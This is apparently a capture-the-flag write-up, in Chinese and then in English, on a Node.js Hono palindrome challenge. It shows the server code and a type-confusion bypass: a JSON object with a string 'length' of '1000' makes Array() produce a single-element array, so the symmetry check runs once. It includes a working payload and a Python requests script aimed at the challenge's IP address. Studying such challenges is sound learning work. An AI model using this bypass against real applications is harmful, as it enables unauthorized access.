本文记录了一次针对 Node.js Web 应用的代码审计与逻辑绕过实战。目标程序要求输入长度大于1000的回文字符串,但 Nginx 限制了实际的超长字符输入。攻击者巧妙利用了 JavaScript 的弱类型与类型混淆机制 ,传入定制的 JSON 对象 {"length": "1000", "0": "x", "999": "x"} 替代字符串。该 Payload 不仅绕过了 length 属性的阈值校验,还利用了 Array("1000") 会生成单元素数组的语言特性 ,让严苛的全局对称循环检测仅执行一次即告通过,最终成功获取 Flag。 This article documents a practical case of code auditing and logic bypass against a Node.js web application. The target program required input of a palindrome string longer than 1000 characters, but Nginx restricted actual ultra-long character input. The attacker cleverly exploited JavaScript's weak typing and type confusion mechanism, passing a crafted JSON object {"length": "1000", "0": "x", "999": "x"} instead of a string. This payload not only bypassed the threshold check on the length property but also took advantage of the language feature where Array("1000") generates a single-element array, causing the stringent global symmetric loop check to execute only once and pass, ultimately successfully obtaining the Flag.
代码审计
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim(); //返回flag.txt内容
const IsPalinDrome = (string) => {
if (string.length < 1000) { //输入少于1000字符
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) { // 返回包含索引的指定长度的数组
const original = string[i]; // 获取当前索引i处的字符,赋值给original
const reverse = string[string.length - i - 1]; // 获取对称位置的字符,即倒数第i个
if (original !== reverse || typeof original !== 'string') { // 检查是否对称以及类型检查。两者不满足一个就返回1,导致运行下面的代码
return 'Notter Palindromer!!';
}
}
return null;
}
const app = new Hono(); // 创建一个Hono应用实例app
app.get('/', serveStatic({root: '.'})); // 定义get请求路由/
app.post('/', async (c) => { // 异步函数,定义POST请求路由
const {palindrome} = await c.req.json(); // 解析请求体中的 JSON 数据,并解构出 palindrome 字段,这里是用户输入点。
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000; // 启动服务
serve(app);
漏洞分析
输入一千个a返回,Nginx 报错,大小限制。
Array()处理:
- 单数值:Array(3),创建长度为三的空数组
- 多参数:Array(1,2,3),创建[1,2,3]
- 非数字参数:Array(”1000”),创建[”1000”],只有一个
利用
构造payload
{
"palindrome": {
"length": "1000",
"0": "x",
"999": "x"
}
}
长度检查
if (string.length < 1000)
在比较字符串时强行将”1000”转换为数字
数组构造
Array(string.length) // string.length = "1000”
得到数组Array(”1000”),长度为1
迭代
for (const i of Array(string.length).keys())
仅循坏一次,i=0
对称检查
const original = string[0];"x"
const reverse = string[string.length - 0 - 1];string["1000" - 0 - 1],此时会强制转换为数字—> 1000-0-1
通过
import requests
# url
url = "http://83.136.253.144:33824/"
# create payload
payload = {
"palindrome":{
"length": "1000",
"0": "x",
"999": "x"
}
}
response = requests.post(url,json=payload)
print(response.text)Code Audit
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim(); // Returns the content of flag.txt
const IsPalinDrome = (string) => {
if (string.length < 1000) { // Input less than 1000 characters
return 'Too Short';
}
for (const i of Array(string.length).keys()) { // Returns an array of specified length containing indices
const original = string[i]; // Gets the character at current index i, assigns to original
const reverse = string[string.length - i - 1]; // Gets the character at the symmetric position, i.e., the i-th from the end
if (original !== reverse || typeof original !== 'string') { // Checks for symmetry and type check. If either condition fails, returns 1, causing the following code to run
return 'Not a Palindrome!!';
}
}
return null;
}
const app = new Hono(); // Creates a Hono app instance app
app.get('/', serveStatic({root: '.'})); // Defines GET request route /
app.post('/', async (c) => { // Async function, defines POST request route
const {palindrome} = await c.req.json(); // Parses JSON data in request body, destructures palindrome field, which is the user input point.
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000; // Starts the service
serve(app);
Vulnerability Analysis
Inputting a thousand 'a's results in an Nginx error due to size restrictions.
Array() handling:
- Single value: Array(3), creates an empty array of length three
- Multiple parameters: Array(1,2,3), creates [1,2,3]
- Non-numeric parameter: Array("1000"), creates ["1000"], only one element
Exploitation
Construct payload
{
"palindrome": {
"length": "1000",
"0": "x",
"999": "x"
}
}
Length Check
if (string.length < 1000)
Forcibly converts "1000" to a number when comparing strings
Array Construction
Array(string.length) // string.length = "1000"
Results in array Array("1000"), length is 1
Iteration
for (const i of Array(string.length).keys())
Only loops once, i=0
Symmetry Check
const original = string[0]; "x"
const reverse = string[string.length - 0 - 1]; string["1000" - 0 - 1], forcibly converts to number → 1000-0-1
Passes
import requests
# URL
url = "http://83.136.253.144:33824/"
# Create payload
payload = {
"palindrome":{
"length": "1000",
"0": "x",
"999": "x"
}
}
response = requests.post(url,json=payload)
print(response.text)